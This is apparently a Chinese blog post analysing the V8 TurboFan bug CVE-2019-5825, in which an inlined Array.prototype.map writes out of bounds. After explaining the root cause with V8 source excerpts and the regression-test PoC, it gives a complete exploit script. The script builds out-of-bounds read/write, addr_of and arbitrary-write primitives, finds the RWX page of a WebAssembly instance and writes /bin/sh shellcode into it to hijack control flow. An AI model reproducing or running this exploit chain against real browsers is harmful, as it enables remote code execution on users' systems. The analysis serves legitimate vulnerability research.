【V8】V8 Issue 941743 (CVE-2019-5825) 利用分析

V8 中的 Array

在 V8 中,JavaScript 的数组(Array)以如下结构存储:

V8 中 Array 结构示意图

可以看到 Array 中的元素是存在 Backing Storage 中的,而 Backing Storage 有两种形式:一种是 Fixed Array(快元素),即以数组的形式(连续内存)来存储元素,默认情况下,Array 就是以这种形式来组织元素的;另一种是 NamedDictionary(慢元素),即以字典的形式存储元素,这种形式的好处是,由于 JavaScript 的 Array 可以存在多个空隙值,使用这种方式存储可以不用考虑空隙值的内存(但是在访问该空袭值的时候需要随着原型链往上遍历)。因此,如果 Array 长度过长(这个值定义在 src/objects/js-array.h 中,kMaxFastArrayLength ),或者 Array 中有较多的空隙值的时候,Array 的 Backing Storage 都会被替换成为 NamedDictionary 的形式。对于 Array 的快元素和慢元素可以参考:https://v8.dev/blog/fast-properties

TurboFan 的优化:

V8 在执行 JavaScript 代码时,遇到 Hot 的代码(即执行次数较多)时,会被 JIT 编译成机器码进行执行,而 V8 中的 JIT 编译器就是 TurboFan。TurboFan 是基于图的一个编译器(在 V8 中不只是编译 JavaScript 代码,还会预编译一些内置函数),基本流程是将 Ignition(V8 的解释器)生成的 Bytecode 构建成图,然后对生成的图的节点进行遍历,经过一系列的优化最终生成机器代码。之后 V8 通过执行机器代码的形式执行 JavaScript 代码就会提升很大的性能。

在 TurboFan 的优化过程中,有一个成为 Inlining (内联)的过程,该过程会将 Hot 的函数中调用次数多的函数(通常以调用频率来计算)内联到当前 Hot 的函数中,这样就能使得 V8 在执行过程中省略很多不必要的调用开销和不必要的检查,从而提升性能。关于 Inlining 可以参考 Google 官方的文档:https://docs.google.com/document/d/1l-oZOW3uU4kSAHccaMuUMl_RCwuQC526s0hcNVeAM1E/edit

漏洞

这个漏洞就位于 TurboFan 对 JavaScript 代码进行 Inlining 的过程中,可以查看 V8 代码树中的回归测试文件(可以看作 PoC),对这个漏洞有大致了解:

Array(2**30);

// Set up a fast holey smi array, and generate optimized code.
let a = [1, 2, ,,, 3];
function mapping(a) {
    return a.map(v => v);
}
mapping(a);
mapping(a);
%OptimizeFunctionOnNextCall(mapping);
mapping(a);

// Now lengthen the array, but ensure that it points to a non-dictionary
// backing store.
a.length = (32 * 1024 * 1024)-1;
a.fill(1,0);
a.push(2);
a.length += 500;
// Now, the non-inlined array constructor should produce an array with
// dictionary elements: causing a crash.
mapping(a);

TurboFan 对于图的基本处理代码位于 src/compiler/pipeline.cc 中,Inlining 阶段的代码(省略不必要的代码)如下:

struct InliningPhase {
    // ...
    void Run(PipelineData* data, Zone* temp_zone) {
        // ...
        JSCallReducer call_reducer(...);
        // ...
        AddReducer(data, &graph_reducer, &call_reducer);
        // ...
        graph_reducer.ReduceGraph();
    }
};

主要是调用了 JSCallReducer 的 Reduce 方法(位于 src/compiler/js-call-reducer.cc),这个方法根据传入的节点操作类型,实际上调用的是 ReduceJSCall 方法。在 ReduceJSCall 方法中,根据回归测试的代码,我们可以分析其基本流程。由于调用的是 Array 中的方法,因此 ReduceJSCall 方法会进入以下调用逻辑:

Reduction JSCallReducer::ReduceJSCall(Node* node) {

    CallParameters const& p = CallParametersOf(node->op());
    Node* target = NodeProperties::GetValueInput(node, 0);
    Node* control = NodeProperties::GetControlInput(node);
    Node* effect = NodeProperties::GetEffectInput(node);

    // ...

    base::Optional<HeapObjectRef> feedback = GetHeapObjectFeedback(broker(), nexus);
    if (feedback.has_value() && ShouldUseCallICFeedback(target) &&
        feedback->map().is_callable()) {
        Node* target_function = jsgraph()->Constant(*feedback);

        // ...
        NodeProperties::ReplaceValueInput(node, target_function, 0);

        // Try to further reduce the JSCall {node}.
        Reduction const reduction = ReduceJSCall(node);
        return reduction.Changed() ? reduction : Changed(node);
    }
    return NoChange();
}

可以看到会根据 Feedback Vector 的消息,将 JSCall(即当前节点)替换成目标函数节点,之后递归调用 ReduceJSCall 这个方法。而在第二次调用 ReduceJSCall 方法时,因为节点具有实际的目标函数,则会进入如下调用逻辑:

Reduction JSCallReducer::ReduceJSCall(Node* node) {
    CallParameters const& p = CallParametersOf(node->op());
    Node* target = NodeProperties::GetValueInput(node, 0);
    Node* control = NodeProperties::GetControlInput(node);
    Node* effect = NodeProperties::GetEffectInput(node);

    // Try to specialize JSCall {node}s with constant {target}s.
    HeapObjectMatcher m(target);
    if (m.HasValue()) {
        ObjectRef target_ref = m.Ref(broker());
        if (target_ref.IsJSFunction()) {
            // ...
            return ReduceJSCall(node, function.shared());
        }
    // ...
    }
}

可以看到会调用 ReduceJSCall(注意参数,同名函数重载)方法,继续进入 ReduceJSCall 方法中,该方法会获取当前节点对应函数的内置编号(Builtin Id),由于回归测试中调用的是 map 函数,因此会进入 ReduceArrayMap 函数中:

Reduction JSCallReducer::ReduceJSCall(Node* node, const 
                                      SharedFunctionInfoRef& shared) {
    // ...
    int builtin_id = shared.HasBuiltinId() ? shared.builtin_id() : 
                                             Builtins::kNoBuiltinId;
    switch (builtin_id) {
        // …
        case Builtins::kArrayMap:
            return ReduceArrayMap(node, shared);
        // …
    }
    // ...
}

ReduceArrayMap 函数定义在 src/compiler/js-call-reducer.cc 中。该函数会将 Array 的 Map 操作通过 CreateArray 操作和遍历 Array 元素调用 Map 操作的 callback 函数并赋值的一系列操作替换(即将 Map 操作内联)。

Reduction JSCallReducer::ReduceArrayMap(Node* node, 
                               const SharedFunctionInfoRef& shared) {
    // …
    Node* original_length = effect = graph()->NewNode(
        simplified()->LoadField(AccessBuilder::ForJSArrayLength(kind)),
        receiver, effect, control);
    Node* a = control = effect = graph()->NewNode(
        javascript()->CreateArray(1, MaybeHandle<AllocationSite>()),
        array_constructor, array_constructor, original_length, context,
        outer_frame_state, effect, control);
    // …
}

可以看到,在 ReduceArrayMap 函数中,将节点替换成如下节点:首先是一个获取数组长度的节点,用来获取数组的长度(即 map 方法调用者的数组长度),之后将获取到的长度作为 CreateArray 节点的输入。之后在 V8 执行优化完之后的代码的时候,就会使用原数组的长度,传递给数组创建的方法,从而创建新的数组。

在创建完新的数组之后,会遍历原数组的元素,获得原数组的元素之后调用 callback 函数,会获得 callback 之后的值,然后将该值存储到新创建的数组中。从代码中可以看到,在完成创建新的数组之后以及将 callback 函数调用之后获得的值存储到新数组之间没有检查新数组的 Map,也就是说在这一过程中都会将新创建的数组的 Backing Storage 当作 FixedArray 来对值进行存储:

Reduction JSCallReducer::ReduceArrayMap(Node* node, const SharedFunctionInfoRef& shared) {
    // …
    Node* callback_value = control = effect = graph()->NewNode(
        javascript()->Call(5, p.frequency()), fncallback, this_arg, element, k,
        receiver, context, frame_state, effect, control);
    // …
    // The array {a} should be HOLEY_SMI_ELEMENTS because we'd only come into this
    // loop if the input array length is non-zero, and "new Array({x > 0})" always
    // produces a HOLEY array.
    MapRef holey_double_map =
        native_context().GetInitialJSArrayMap(HOLEY_DOUBLE_ELEMENTS);
    MapRef holey_map = native_context().GetInitialJSArrayMap(HOLEY_ELEMENTS);
    effect = graph()->NewNode(simplified()->TransitionAndStoreElement(
        holey_double_map.object(), holey_map.object()),
        a, k, callback_value, effect, control);
    // …
}

这里就出现了这个漏洞的关键点,如果原数组的长度过长时,就会出现以 NamedDictionary 作为 Backing Storage 的形式创建数组,而后续存入元素的操作还将其当作 FixedArray 的形式。由于 FixedArray 是连续存储的,而 NamedDictionary 则类似于添加键值对的形式对值进行存储,因此以对 FixedArray 访问的形式访问 NamedDictionary 的时候,就会出现内存越界写的现象,从而导致漏洞发生。

但是回归测试的第一行是 Array(2 ** 30),可以看到以一个很大的数字调用 Array 函数。在这里是为了防止在 TurboFan 的 TypedLoweringPhase 阶段的时候,遇到 JSCreateArray 类型的节点会进一步进行优化(具体函数定义在 src/compiler/js-create-lowering.cc 中),如果该调用被标记为可以 inline(默认情况下),就会在该阶段被内联成多个其他节点,而在内联成为的节点中,有对创建数组时传进来的参数进行判断,如果参数过长则会发生 Deopt,这样就会导致后续的漏洞不会触发。因此漏洞利用的关键点在于使得 Array 构建函数不会被内联。

在调用 Array 构建数组的时候,首先会调用 Builtins 中的 ArrayConstructor 函数(可以从 src/bootstrapper.cc 中查看),该函数定义在 src/builtins/builtins-array-gen.cc 中定义,最终会调用 ArrayConstructorImpl 函数,该函数则会调用 GenerateArrayNArgumentsConstructor 函数,最终会进入 Runtime 的 Runtime_NewArray 函数来调用(src/runtime/runtime-array.cc)。在 Runtime_NewArray 函数里,会判断当前的长度是否大于某个值,如果大于这个值,则不会在后续优化过程中 inilne 构造函数:

RUNTIME_FUNCTION(Runtime_NewArray) {
    // …
    if (argv.length() == 1) {
        Handle<Object> argument_one = argv.at<Object>(0);
        if (argument_one->IsSmi()) {
            int value = Handle<Smi>::cast(argument_one)->value();
            if (value < 0 || 
                JSArray::SetLengthWouldNormalize(isolate->heap(), value)) {
                // the array is a dictionary in this case.
                can_use_type_feedback = false;
                } else if (value != 0) {
                    holey = true;
                    if (value >= JSArray::kInitialMaxFastElementArray) {
                        can_inline_array_constructor = false;
                    }
                }
            } else {
                // Non-smi length argument produces a dictionary
                can_use_type_feedback = false;
            }
        }
        // ...
}

因此,为了防止 TurboFan 内联 Array 构建函数,需要先用一个大数调用 Array 函数。

利用

可以通过创建一个长度很大的数组,但是该数组本身的 Backing Storage 仍为 FixedArray,然后调用 map 函数,这样可以获得越界写。在 map 函数调用中,根据 map 的 index 参数,构造一个 oob_array(需要为浮点类型,因为 V8 中只有浮点类型的数据会以原先的二进制形式存储,其他会被变成 Tagged Pointer),然后通过越界写漏洞覆盖 oob_array 的长度字段(这需要进行调试得到相对的索引位移),同时通过越界写覆盖 oob_array 的 Backing Storage 的长度字段(oob_array 的 Backing Storage 是一个 Fixed Array),这样就可以实现索引可控的越界读写。实现索引可控的越界写之后,构造一个 leak_obj(用来泄漏对象内存地址) 和一个 ArrayBuffer 对象(用来实现任意地址写),然后通过遍历索引,获得 leak_obj 中对应属性(下面的代码中的 obj 属性)的索引值以及 ArrayBuffer 对象中的 Backing Storage 属性的索引值:

let oob_array_length_offset = 23; // 通过调试得到
let oob_array_storage_length_offset = oob_array_length_offset - 6;

function inline() {
    return a.map(function (e, i) {
        if (i == 0) {
            oob_array = [1.1, 2.2];

            leak_obj = { tag: address2float(0xdeadbeef), obj: obj };
            control_array = new ArrayBuffer(0x4321);
        }
        if (i == oob_array_length_offset + 1) {  
            // 在这里已经完成越界写了之后直接返回
            // 不然会由于越界写了其他字段,导致崩溃
            throw "Do.";
        }
        return i;
    });
}

a = [1, , 3]
// …
a.length = 32 * 1024 * 1024;
a.fill(1, oob_array_storage_length_offset, oob_array_storage_length_offset + 1);
a.fill(1, oob_array_length_offset);
a.length += 500;

try {
    inline();
} catch {
    // ...
    leak_offset = 0;
    for (var i = 0; i < 0x10000; ++i) {
        var value = oob_array[i];
        value = float2address(value);
        if (value == 0xdeadbeef) {
            leak_offset = i + 1;
            break;
        }
    }

    backing_offset = 0;
    for (var i = 0; i < 0x10000; ++i) {
        if (float2address(oob_array[i]) == 0x4321 &&
            float2address(oob_array[i + 2]) == 0x2) {
            backing_offset = i + 1;
            break;
        }
    }
}

这样就能构造出 addr_of 原语以及任意地址读写原语。之后可以通过修改可写可执行内存区域为 Shellcode,最终执行 Shellcode 来劫持控制流。

Exp

var g_buffer = new ArrayBuffer(16);
var g_float64 = new Float64Array(g_buffer);
var g_uint64 = new BigUint64Array(g_buffer);


function float2address(f) {
  g_float64[0] = f;
  return g_uint64[0];
}


function address2float(addr) {
  let i = BigInt(addr);
  g_uint64[0] = i;
  return g_float64[0];
}


function hex(i) {
  return '0x' + i.toString(16).padStart('0');
}


function info(msg) {
  console.log('[+] ' + msg);
}

function error(msg) {
  console.log('[-] ' + msg);
  exit(1);
}

function gc() {
  for (let i = 0; i < 100; i++) {
    new ArrayBuffer(0x100000);
  }
}

// =================================================================
// Start Pwn
// =================================================================

Array(32760)

let a = [1, , 3];

let oob_array;
let leak_obj;
let control_array;
var obj = {};

let oob_array_length_offset = 23;  // 通过调试得到
let oob_array_storage_length_offset = oob_array_length_offset - 6;

function inline() {
  return a.map(function (e, i) {
    if (i == 0) {
      oob_array = [1.1, 2.2];

      leak_obj = { tag: address2float(0xdeadbeef), obj: obj };
      control_array = new ArrayBuffer(0x4321);
    }
    if (i == oob_array_length_offset + 1) {
      throw "Do.";
    }
    return i;
  });
}

inline();
for (var i = 0; i < 100000; ++i) inline();
// % OptimizeFunctionOnNextCall(inline);
a.length = 32 * 1024 * 1024;
a.fill(1, oob_array_storage_length_offset, oob_array_storage_length_offset + 1);
a.fill(1, oob_array_length_offset);
a.length += 500;

let leak_offset;
let backing_offset;

function addr_of(o) {
  leak_obj.obj = o;
  return Number(float2address(oob_array[leak_offset])) - 1;
}

function read(addr) {
  oob_array[backing_offset] = address2float(addr);
  let data_view = new DataView(control_array);
  return Number(float2address(data_view.getFloat64(0, true)));
}

function write32(addr, value) {
  oob_array[backing_offset] = address2float(addr);
  let data_view = new DataView(control_array);
  data_view.setInt32(0, value, true);
}

try {
  inline();
} catch (e) {

  leak_offset = 0;
  for (var i = 0; i < 0x10000; ++i) {
    var value = oob_array[i];
    value = float2address(value);
    if (value == 0xdeadbeef) {
      leak_offset = i + 1;
      break;
    }
  }

  backing_offset = 0;
  for (var i = 0; i < 0x10000; ++i) {
    if (float2address(oob_array[i]) == 0x4321 && float2address(oob_array[i + 2]) == 0x2) {
      backing_offset = i + 1;
      break;
    }
  }

  var wasmCode = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1,
    127, 3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0, 5, 131, 128, 128, 128, 0,
    1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145, 128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2,
    0, 4, 109, 97, 105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0, 65, 10, 11]);
  var wasmModule = new WebAssembly.Module(wasmCode);
  var wasmInstance = new WebAssembly.Instance(wasmModule, {});
  var func = wasmInstance.exports.main;
  info("Leak func address: " + hex(func));

  var func_addr = addr_of(func);
  var shared_info = read(func_addr + 0x18) - 1;
  var data_address = read(shared_info + 0x8) - 1;
  var instance_address = read(data_address + 0x10) - 1;
  var rwx_address = read(instance_address + 0x108);
  info("Leak rwx page address: " + hex(rwx_address));

  write32(rwx_address, 0x99583b6a);
  write32(rwx_address + 0x4, 0x2fbb4852);
  write32(rwx_address + 0x8, 0x6e69622f);
  write32(rwx_address + 0xc, 0x5368732f);
  write32(rwx_address + 0x10, 0x57525f54);
  write32(rwx_address + 0x14, 0x050f5e54);

  func();
  // % DebugPrint(func);
  // % SystemBreak();
}

参考

One Comment

Leave a Reply

Your email address will not be published. Required fields are marked *